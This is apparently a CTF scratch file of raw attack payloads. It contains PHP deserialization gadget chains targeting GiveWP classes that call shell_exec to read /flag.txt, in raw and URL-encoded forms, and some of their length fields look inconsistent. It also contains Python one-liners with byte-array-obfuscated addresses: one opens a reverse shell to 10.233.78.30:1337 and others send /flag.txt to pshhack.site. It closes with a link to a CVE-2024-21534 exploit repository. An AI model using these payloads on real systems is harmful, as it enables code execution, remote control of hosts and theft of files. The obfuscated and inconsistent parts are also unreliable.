O:19:"Stripe\\\\StripeObject":1:{s:10:"\0*\0_values";a:1:{s:3:"foo";O:62:"Give\\\\PaymentGateways\\\\DataTransferObjects\\\\GiveInsertPaymentData":1:{s:8:"userInfo";a:1:{s:7:"address";O:4:"Give":1:{s:12:"\0*\0container";O:33:"Give\\\\Vendors\\\\Faker\\\\ValidGenerator":3:{s:12:"\0*\0validator";s:10:"shell_exec";s:12:"\0*\0generator";O:34:"Give\\\\Onboarding\\\\SettingsRepository":1:{s:11:"\0*\0settings";a:1:{s:8:"address1";s:21:"cat /flag.txt";}}s:13:"\0*\0maxRetries";i:10;}}}}}}
O%3A19%3A%22Stripe%5C%5C%5C%5CStripeObject%22%3A1%3A%7Bs%3A10%3A%22%5C0%2A%5C0_values%22%3Ba%3A1%3A%7Bs%3A3%3A%22foo%22%3BO%3A62%3A%22Give%5C%5C%5C%5CPaymentGateways%5C%5C%5C%5CDataTransferObjects%5C%5C%5C%5CGiveInsertPaymentData%22%3A1%3A%7Bs%3A8%3A%22userInfo%22%3Ba%3A1%3A%7Bs%3A7%3A%22address%22%3BO%3A4%3A%22Give%22%3A1%3A%7Bs%3A12%3A%22%5C0%2A%5C0container%22%3BO%3A33%3A%22Give%5C%5C%5C%5CVendors%5C%5C%5C%5CFaker%5C%5C%5C%5CValidGenerator%22%3A3%3A%7Bs%3A12%3A%22%5C0%2A%5C0validator%22%3Bs%3A10%3A%22shell_exec%22%3Bs%3A12%3A%22%5C0%2A%5C0generator%22%3BO%3A34%3A%22Give%5C%5C%5C%5COnboarding%5C%5C%5C%5CSettingsRepository%22%3A1%3A%7Bs%3A11%3A%22%5C0%2A%5C0settings%22%3Ba%3A1%3A%7Bs%3A8%3A%22address1%22%3Bs%3A21%3A%22cat%20%2Fflag.txt%22%3B%7D%7Ds%3A13%3A%22%5C0%2A%5C0maxRetries%22%3Bi%3A10%3B%7D%7D%7D%7D%7D%7D

O:19:"Stripe\\\\\\\\StripeObject":1:{s:10:"\\0*\\0_values";a:1:{s:3:"foo";O:62:"Give\\\\\\\\PaymentGateways\\\\\\\\DataTransferObjects\\\\\\\\GiveInsertPaymentData":1:{s:8:"userInfo";a:1:{s:7:"address";O:4:"Give":1:{s:12:"\\0*\\0container";O:33:"Give\\\\\\\\Vendors\\\\\\\\Faker\\\\\\\\ValidGenerator":3:{s:12:"\\0*\\0validator";s:10:"shell_exec";s:12:"\\0*\\0generator";O:34:"Give\\\\\\\\Onboarding\\\\\\\\SettingsRepository":1:{s:11:"\\0*\\0settings";a:1:{s:8:"address1";s:12:"cat /flag.txt";}}s:13:"\\0*\\0maxRetries";i:10;}}}}}}
O%3A19%3A%22Stripe%5C%5CStripeObject%22%3A1%3A%7Bs%3A10%3A%22%00%2A%00_values%22%3Ba%3A1%3A%7Bs%3A3%3A%22foo%22%3BO%3A62%3A%22Give%5C%5CPaymentGateways%5C%5CDataTransferObjects%5C%5CGiveInsertPaymentData%22%3A1%3A%7Bs%3A8%3A%22userInfo%22%3Ba%3A1%3A%7Bs%3A7%3A%22address%22%3BO%3A4%3A%22Give%22%3A1%3A%7Bs%3A12%3A%22%00%2A%00container%22%3BO%3A33%3A%22Give%5C%5CVendors%5C%5CFaker%5C%5CValidGenerator%22%3A3%3A%7Bs%3A12%3A%22%00%2A%00validator%22%3Bs%3A10%3A%22shell_exec%22%3Bs%3A12%3A%22%00%2A%00generator%22%3BO%3A34%3A%22Give%5C%5COnboarding%5C%5CSettingsRepository%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00settings%22%3Ba%3A1%3A%7Bs%3A8%3A%22address1%22%3Bs%3A12%3A%22cat%20%2Fflag.txt%22%3B%7D%7Ds%3A13%3A%22%00%2A%00maxRetries%22%3Bi%3A10%3B%7D%7D%7D%7D%7D%7D

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((bytes([49,48,46,50,51,51,46,55,56,46,51,48]).decode(),1337));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([bytes([47,98,105,110,47,115,104]).decode(),bytes([45,105]).decode()])'
python3 -c 'import requests;requests.get(bytes([104,116,116,112,115,58,47,47,112,115,104,104,97,99,107,46,115,105,116,101,47,108,111,103]).decode(),params={bytes([102,108,97,103]).decode():open(bytes([47,102,108,97,103,46,116,120,116]).decode())})'
python3 -c 'from urllib.request import *;from urllib.parse import *;u=bytes([104,116,116,112,115,58,47,47,112,115,104,104,97,99,107,46,115,105,116,101,47,108,111,103,63,102,108,97,103,61]).decode();f=bytes([47,102,108,97,103,46,116,120,116]).decode();h={bytes([85,115,101,114,45,65,103,101,110,116]).decode():bytes([77,111,122,105,108,108,97,47,53,46,48]).decode()};print(urlopen(Request(u+quote(open(f).read().strip()),headers=h)).read().decode())'

https://github.com/verylazytech/cve-2024-21534/blob/main/cve-2024-21534.sh